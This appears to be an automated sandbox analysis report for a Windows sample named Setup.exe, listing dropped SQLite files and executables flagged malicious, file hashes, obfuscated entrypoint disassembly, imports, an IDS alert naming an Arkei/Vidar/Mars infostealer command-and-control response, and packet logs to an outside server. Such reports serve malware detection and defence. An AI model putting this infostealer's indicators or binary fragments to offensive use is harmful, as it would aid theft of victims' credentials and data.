Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
File Type:	SQLite 3.x database, last written using SQLite version 3038005, page size 2048, file counter 2, database pages 23, cookie 0x19, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.7876734657715041
Encrypted:	false
SSDEEP:	48:43KzOIIY3HzrkNSs8LKvUf9KnmlG0UX9q4lCm+KLka+yJqhM0ObVEq8Ma0D0HOlx:Sq0NFeymDlGD9qlm+KL2y0Obn8MouO
MD5:	CF7758A2FF4A94A5D589DEBAED38F82E
SHA1:	D3380E70D0CAEB9AD78D14DD970EA480E08232B8
SHA-256:	6CA783B84D01BFCF9AA7185D7857401D336BAD407A182345B97096E1F2502B7F
SHA-512:	1D0C49B02A159EEB4AA971980CCA02751973E249422A71A0587EE63986A4A0EB8929458BCC575A9898CE3497CC5BDFB7050DF33DF53F5C88D110F386A0804CBF
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................[5....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\66854991065124972029767962

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
File Type:	SQLite 3.x database, last written using SQLite version 3038005, file counter 4, database pages 36, 1st free page 10, free pages 1, cookie 0x29, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	147456
Entropy (8bit):	0.4788315576920595
Encrypted:	false
SSDEEP:	96:YVdU+bb3HDsX0ctSOaDN6tOVjN9DLjGQLBE3u:YVK+H3HDi9GN6IVj3XBBE3u
MD5:	CBB41FCD9B378BBF8B9CC262004C391E
SHA1:	F88112D46F2882AA06A1605B727C505F9188AE8E
SHA-256:	44636710014A0540F2FCE8378C97A99D9B673FA0A95A2C91AAA2DCC4EA7C5570
SHA-512:	B10D30E1DF30D61D59D92C3F48DAF4B907DC3982452132B9E7101CEFEF56590C61D38C331ACDE4EE7CB7D808C3CA86080B5177BEF0D36997E1DCAF019BE05512
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......$...........)......................................................[5....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\68398609819664439000.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	18944
Entropy (8bit):	5.333679534947183
Encrypted:	false
SSDEEP:	384:S6M8+XnGQMYsyisu7DU72Tv/LIrTbnVAN00wyTRFToo8n35KSg8fznWrzO:L+3GDyCDUgsbe5Doo8AKs
MD5:	FC919F65105FCFE816F9A62D0F1D6921
SHA1:	5387819956739A904436F30E23F39F0FC1647BA6
SHA-256:	50AA6E23E73F56D333141974F34EED61E48F9DAA7247B92B27DCC8147C01271C
SHA-512:	7B8E47819FBAE643F8AF87B3F3A69D4EBE88A6EB149B9032A6241864A01CBC9E58C156BF8265B263F4E569BB88147729434EB396A06007B61467A94472721B4B
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 92%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....I..........."...0..>...........]... ...`....@.. ....................................`.................................U]..O....`...............................\..8............................................ ............... ..H............text....=... ...>.................. ..`.rsrc........`.......@..............@..@.reloc...............H..............@..B.................]......H.......8....,..........0[..p............................................0..........(.....(.....(.....o....... ....s....... o......s........ ....o.......o.......o.........o......s...........s............io .....o!.....(...+(...+..o$...(...+(...+..o%.....o%...(&......:..,...o'......,...o'......,...o'......,...o'.....,..o'......*....@....q.G.........e._.........^.r.........6...........%..........0...........((...... (...+(...+... (...+. (...+(...+...@(...+..i.@Y(...+(...+... ..

C:\ProgramData\68950836275313342672054142

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
File Type:	SQLite 3.x database, last written using SQLite version 3038005, page size 2048, file counter 3, database pages 45, cookie 0x3d, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	94208
Entropy (8bit):	1.2891393435168748
Encrypted:	false
SSDEEP:	192:Qo1/8dpUXbSzTPJPe6IVuvCySEwn7PrH944:QS/inmjVuaySEwn7b944
MD5:	037D23498B81732EEAAAD0E8015F3F85
SHA1:	E7719865D7717A4B36D85609F3EC25C10934587F
SHA-256:	83AA9D5727AD94D394C57A969A7C53C37F79513316FA5E0283A750C886F342D4
SHA-512:	BFFFB8C7759B65BABD232200305699551AC9BF9BF2C778D5DA124A677900869254C6AB4439BF2A99E08690C29C5A2B17EEEBA7382CF4EAAB12168462A49B3D7D
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......-...........=......................................................[5...........*........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\78434500776557639361099034

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
File Type:	SQLite 3.x database, last written using SQLite version 3038005, file counter 11, database pages 7, 1st free page 5, free pages 2, cookie 0x13, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.7175172839606828
Encrypted:	false
SSDEEP:	24:TL0PczkwubXYFpFNYcw+6UwcYzHr8CtNdByiWUmozjng15n2PyS3piyQxJEv:TUcYwuLopFgU1YzLHyKDALnMj5iyQ7Ev
MD5:	C1C5F78369A7D66A61D8A8AF47FFC00E
SHA1:	6BADA623EBCC06BE23C97CB069504290FFAC084A
SHA-256:	0528EC1BB5475617C4EA096113BB2D6B07B223945D60E81236FF1BBD72FC6D4F
SHA-512:	39A5BEFD0C5D444C603EE53885EC57709E86CE14E9444F6FB3C26D45B99DD1BB46BA84FE998E11343F30C19BA7F023DA22A16D4D5DB48FA7D57B3E417E9881DE
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................[5.........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\92398908710653760371.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
File Type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	7806464
Entropy (8bit):	6.2573770651118865
Encrypted:	false
SSDEEP:	49152:2O0Ctp/5lFqurb/ThvO90d7HjmAFd4A64nsfJ9mIJJx4Ru+fTDLS4heeXX8OhtLW:tIBQuAKoLFeWL9EYAz4Ca
MD5:	32C739F079BF72DE402D64B67780D115
SHA1:	B7B022EF6550F22FDB7761FA93C6FE9AA6B4CD97
SHA-256:	5FEBFEEF9348D7174ADBD0EE38BBB9194CF09E768DBB536D9F6F6A15EE4E76D4
SHA-512:	2730FC3ED007A3A0D8A3521511F8F2964E41F92E1EB4A2334CA8D400E3D26AAB7FC88B0BA7F23D4FAA80DB162B6E4B8EC04B26FA08D2518D5BDF03F7784ACC21
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d......c..............."..@...w...............@...............................}.......w...`... ......................................p\|.Y.....\|.H.............u. ^............\|..............................yu.(.....................\|..............................text...p.@.......@.................`.``.data........ @.......@.............@.`..rdata...D1..@D..F1...D.............@.`@.pdata.. ^....u..`...bu.............@.0@.xdata...e....u..f....u.............@.0@.bss....h....`v.......................`..edata..Y....p\|......(v.............@.0@.idata..H.....\|......*v.............@.0..CRT....h.....\|......Bv.............@.@..tls..........\|......Dv.............@.@..reloc........\|......Fv.............@.0B........................................................................................................................................................................

C:\ProgramData\93419621284149274896047587

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
File Type:	SQLite 3.x database, last written using SQLite version 3038005, file counter 4, database pages 36, 1st free page 10, free pages 1, cookie 0x29, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	147456
Entropy (8bit):	0.4788315576920595
Encrypted:	false
SSDEEP:	96:YVdU+bb3HDsX0ctSOaDN6tOVjN9DLjGQLBE3u:YVK+H3HDi9GN6IVj3XBBE3u
MD5:	CBB41FCD9B378BBF8B9CC262004C391E
SHA1:	F88112D46F2882AA06A1605B727C505F9188AE8E
SHA-256:	44636710014A0540F2FCE8378C97A99D9B673FA0A95A2C91AAA2DCC4EA7C5570
SHA-512:	B10D30E1DF30D61D59D92C3F48DAF4B907DC3982452132B9E7101CEFEF56590C61D38C331ACDE4EE7CB7D808C3CA86080B5177BEF0D36997E1DCAF019BE05512
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......$...........)......................................................[5....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OTUW0Q90\635965506[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
File Type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	7806464
Entropy (8bit):	6.2573770651118865
Encrypted:	false
SSDEEP:	49152:2O0Ctp/5lFqurb/ThvO90d7HjmAFd4A64nsfJ9mIJJx4Ru+fTDLS4heeXX8OhtLW:tIBQuAKoLFeWL9EYAz4Ca
MD5:	32C739F079BF72DE402D64B67780D115
SHA1:	B7B022EF6550F22FDB7761FA93C6FE9AA6B4CD97
SHA-256:	5FEBFEEF9348D7174ADBD0EE38BBB9194CF09E768DBB536D9F6F6A15EE4E76D4
SHA-512:	2730FC3ED007A3A0D8A3521511F8F2964E41F92E1EB4A2334CA8D400E3D26AAB7FC88B0BA7F23D4FAA80DB162B6E4B8EC04B26FA08D2518D5BDF03F7784ACC21
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d......c..............."..@...w...............@...............................}.......w...`... ......................................p\|.Y.....\|.H.............u. ^............\|..............................yu.(.....................\|..............................text...p.@.......@.................`.``.data........ @.......@.............@.`..rdata...D1..@D..F1...D.............@.`@.pdata.. ^....u..`...bu.............@.0@.xdata...e....u..f....u.............@.0@.bss....h....`v.......................`..edata..Y....p\|......(v.............@.0@.idata..H.....\|......*v.............@.0..CRT....h.....\|......Bv.............@.@..tls..........\|......Dv.............@.@..reloc........\|......Fv.............@.0B........................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OTUW0Q90\Starter[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	18944
Entropy (8bit):	5.333679534947183
Encrypted:	false
SSDEEP:	384:S6M8+XnGQMYsyisu7DU72Tv/LIrTbnVAN00wyTRFToo8n35KSg8fznWrzO:L+3GDyCDUgsbe5Doo8AKs
MD5:	FC919F65105FCFE816F9A62D0F1D6921
SHA1:	5387819956739A904436F30E23F39F0FC1647BA6
SHA-256:	50AA6E23E73F56D333141974F34EED61E48F9DAA7247B92B27DCC8147C01271C
SHA-512:	7B8E47819FBAE643F8AF87B3F3A69D4EBE88A6EB149B9032A6241864A01CBC9E58C156BF8265B263F4E569BB88147729434EB396A06007B61467A94472721B4B
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 92%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....I..........."...0..>...........]... ...`....@.. ....................................`.................................U]..O....`...............................\..8............................................ ............... ..H............text....=... ...>.................. ..`.rsrc........`.......@..............@..@.reloc...............H..............@..B.................]......H.......8....,..........0[..p............................................0..........(.....(.....(.....o....... ....s....... o......s........ ....o.......o.......o.........o......s...........s............io .....o!.....(...+(...+..o$...(...+(...+..o%.....o%...(&......:..,...o'......,...o'......,...o'......,...o'.....,..o'......*....@....q.G.........e._.........^.r.........6...........%..........0...........((...... (...+(...+... (...+. (...+(...+...@(...+..i.@Y(...+(...+... ..

Static File Info

General

File type:	PE32 executable (console) Intel 80386, for MS Windows
Entropy (8bit):	7.900559942529077
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Setup.exe
File size:	3999744
MD5:	494e03d339c4b84f71f0c122de940860
SHA1:	85152244f96b8a76ece7a26ba1db4eded3715b80
SHA256:	6511d09ada2bc11a95c06bd20abb66f450b9b2a6ed1f00c723401884ce7a2e61
SHA512:	5acc6fad0a576e16cb23d3058e9e186ee8bac9957c22bb6ba0c71214261596b627506a7f07f8d29b53d605762e45bed36cf48123f94d4a510f98cc1b1bf85c61
SSDEEP:	98304:aVZ0gaAV265MWQT+VagEfsjjTNKBxeY19ICtHm:C3h2ChRogXjXNKBxemtHm
TLSH:	7F062373125120CAD0D9E9BD8637FE91B1F613BB8F46E8B5A7CE6AC429315E0D213943
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......c...............'.............G!......0....@...........................]...../.=...@... ............................

File Icon


Icon Hash:	00828e8e8686b000

Static PE Info

General

Entrypoint:	0x614708
Entrypoint Section:	.$"Z
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x63D00B91 [Tue Jan 24 16:47:13 2023 UTC]
TLS Callbacks:	0x7014e5, 0x401bd0, 0x401b80
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	acbbb57a9e219cbd48d9ce15a64944ff

Entrypoint Preview

Instruction
push edi
mov edi, 5E695D78h
call 00007FF3511B954Bh
jmp esi
push esi
ret
push esi
ret
inc ecx
xor ecx, 00FE2D7Ch
jmp 00007FF351392256h
xor edx, ebx
jmp 00007FF3514462DBh
mov word ptr [edi+04h], cx
sete cl
bswap cx
pushfd
pop dword ptr [edi]
dec cl
shr ecx, cl
mov ecx, dword ptr [esi]
cmc
add esi, 00000004h
cmp cl, FFFFFFA8h
cmc
cmp si, cx
xor ecx, ebx
jmp 00007FF35134C0F7h
push ebp
ret
rol eax, 03h
jmp 00007FF3513F99CAh
not eax
inc eax
jmp 00007FF3510B5757h
jmp ebp
mov ecx, dword ptr [edi]
bts edx, ebp
mov edx, dword ptr [ecx]
sar ax, cl
mov dword ptr [edi], edx
mov eax, dword ptr [ebp+00h]
test dh, FFFFFFB6h
cmc
lea ebp, dword ptr [ebp+00000004h]
stc
cmp sp, 6E5Ch
xor eax, ebx
cmp ebx, ebx
clc
cmc
xor eax, 7B690FA3h
test dl, FFFFFF8Eh
cmp bl, dh
lea eax, dword ptr [eax-1A8B2C99h]
stc
xor eax, 64DE6452h
not eax
test ebp, edi
clc
xor ebx, eax
cmc
cmp sp, bx
test bp, dx
add esi, eax
jmp 00007FF351144D3Bh
jmp esi
cmc
add ebp, eax
jmp 00007FF3513D46FFh
mov dword ptr [esi+08h], eax
setp ah
cmovnle eax, ebx
not ax

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2aec40	0x64	.$"Z
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x5d8000	0x5c8	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x53f258	0x18	.$"Z
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x207000	0x1ec	.jzw
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x1d34	0x0	False	0	empty	0.0	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x3000	0x54f64	0x0	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x58000	0xbc4	0x0	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.eh_fram	0x59000	0x874	0x0	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.bss	0x5a000	0x120	0x0	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x5b000	0xce0	0x0	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.CRT	0x5c000	0x30	0x0	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x5d000	0x8	0x0	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.Dvg	0x5e000	0x1a8afe	0x0	False	0	empty	0.0	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.jzw	0x207000	0x374	0x400	False	0.458984375	data	3.361702550491792	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.$"Z	0x208000	0x3cf8e0	0x3cfa00	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.reloc	0x5d8000	0x5c8	0x600	False	0.5319010416666666	data	4.288867243276247	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Imports

DLL	Import
KERNEL32.dll	AddAtomW, AreFileApisANSI, DeleteCriticalSection, EnterCriticalSection, FreeConsole, FreeLibrary, GetLastError, GetModuleHandleA, GetProcAddress, GetProcessHeap, GetStartupInfoA, InitializeCriticalSection, LeaveCriticalSection, LoadLibraryA, SetUnhandledExceptionFilter, Sleep, TlsGetValue, VirtualProtect, VirtualQuery
msvcrt.dll	__getmainargs, __initenv, __p__acmdln, __p__commode, __p__fmode, __set_app_type, __setusermatherr, _amsg_exit, _cexit, _initterm, _iob, _onexit, abort, calloc, exit, fprintf, free, fwrite, malloc, memcpy, signal, strlen, strncmp, vfprintf
USER32.dll	AppendMenuA, CallWindowProcA, CharLowerBuffA, CharUpperA, CheckDlgButton, CheckMenuItem, CheckMenuRadioItem, ChildWindowFromPoint, ClientToScreen, CloseClipboard, CreateDialogParamA, CreatePopupMenu, DefDlgProcA, DestroyAcceleratorTable, DestroyCursor, DestroyIcon, DestroyMenu, DestroyWindow, DispatchMessageA, EmptyClipboard, EnableMenuItem, EndDialog, EnumClipboardFormats, GetActiveWindow, GetClassInfoA, GetClientRect, GetClipboardData, GetCursorPos, GetDlgItem, GetDlgItemTextA, GetMenu, GetMessageA, GetSubMenu, GetSysColor, GetSystemMenu, GetWindowPlacement, GetWindowRect, InsertMenuItemA, InvalidateRect, IsDialogMessageA, IsDlgButtonChecked, IsMenu, KillTimer, LoadAcceleratorsA, LoadCursorA, LoadIconA, MessageBoxA, MoveWindow, OpenClipboard, PostMessageA, PostQuitMessage, RegisterClassA, RemoveMenu, SendDlgItemMessageA, SendMessageA, SetActiveWindow, SetClipboardData, SetDlgItemInt, SetDlgItemTextA, SetFocus, SetMenuItemInfoA, SetTimer, SetWindowLongA, SetWindowPlacement, SetWindowTextA, TrackPopupMenu, TranslateAcceleratorA, TranslateMessage, wsprintfA
KERNEL32.dll	LocalAlloc, LocalFree, GetModuleFileNameW, ExitProcess, LoadLibraryA, GetModuleHandleA, GetProcAddress

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
95.217.16.127192.168.2.680497152853039 01/25/23-21:04:28.152846	TCP	2853039	ETPRO TROJAN Arkei/Vidar/Mars Stealer Variant CnC Response	80	49715	95.217.16.127	192.168.2.6

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 25, 2023 21:04:27.222229004 CET	49714	443	192.168.2.6	149.154.167.99
Jan 25, 2023 21:04:27.222299099 CET	443	49714	149.154.167.99	192.168.2.6
Jan 25, 2023 21:04:27.222408056 CET	49714	443	192.168.2.6	149.154.167.99
Jan 25, 2023 21:04:27.293095112 CET	49714	443	192.168.2.6	149.154.167.99
Jan 25, 2023 21:04:27.293118000 CET	443	49714	149.154.167.99	192.168.2.6
Jan 25, 2023 21:04:27.366121054 CET	443	49714	149.154.167.99	192.168.2.6
Jan 25, 2023 21:04:27.366349936 CET	49714	443	192.168.2.6	149.154.167.99
Jan 25, 2023 21:04:27.700607061 CET	49714	443	192.168.2.6	149.154.167.99
Jan 25, 2023 21:04:27.700643063 CET	443	49714	149.154.167.99	192.168.2.6
Jan 25, 2023 21:04:27.701076984 CET	443	49714	149.154.167.99	192.168.2.6
Jan 25, 2023 21:04:27.701128006 CET	49714	443	192.168.2.6	149.154.167.99
Jan 25, 2023 21:04:27.703999996 CET	49714	443	192.168.2.6	149.154.167.99
Jan 25, 2023 21:04:27.704014063 CET	443	49714	149.154.167.99	192.168.2.6
Jan 25, 2023 21:04:27.753278971 CET	443	49714	149.154.167.99	192.168.2.6
Jan 25, 2023 21:04:27.753312111 CET	443	49714	149.154.167.99	192.168.2.6
Jan 25, 2023 21:04:27.753362894 CET	443	49714	149.154.167.99	192.168.2.6
Jan 25, 2023 21:04:27.753375053 CET	49714	443	192.168.2.6	149.154.167.99
Jan 25, 2023 21:04:27.753392935 CET	443	49714	149.154.167.99	192.168.2.6
Jan 25, 2023 21:04:27.753407955 CET	49714	443	192.168.2.6	149.154.167.99
Jan 25, 2023 21:04:27.753436089 CET	49714	443	192.168.2.6	149.154.167.99
Jan 25, 2023 21:04:27.762288094 CET	49714	443	192.168.2.6	149.154.167.99
Jan 25, 2023 21:04:27.762324095 CET	443	49714	149.154.167.99	192.168.2.6
Jan 25, 2023 21:04:27.827960968 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:27.865817070 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:27.866009951 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:27.866538048 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:27.904325962 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.152846098 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.153084040 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.175339937 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.213068008 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.234853029 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.234894037 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.234914064 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.234926939 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.234945059 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.234966993 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.234987020 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.235021114 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.235040903 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.235063076 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.235083103 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.235157967 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.235157967 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.272833109 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.272886038 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.272908926 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.272953033 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.272977114 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.273019075 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.273041010 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.273055077 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.273073912 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.273092985 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.273108959 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.273113966 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.273135900 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.273155928 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.273178101 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.273194075 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.273197889 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.273219109 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.273227930 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.273241997 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.273264885 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.273283005 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.273288012 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.273312092 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.273384094 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.273384094 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.273402929 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.312096119 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.312166929 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.312200069 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.312221050 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.312225103 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.312278032 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.312292099 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.312292099 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.312292099 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.312319040 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.312351942 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.312370062 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.312391996 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.312442064 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.312447071 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.312478065 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.312498093 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.312498093 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.312521935 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.312526941 CET	49715	80	192.168.2.6	95.217.16.127
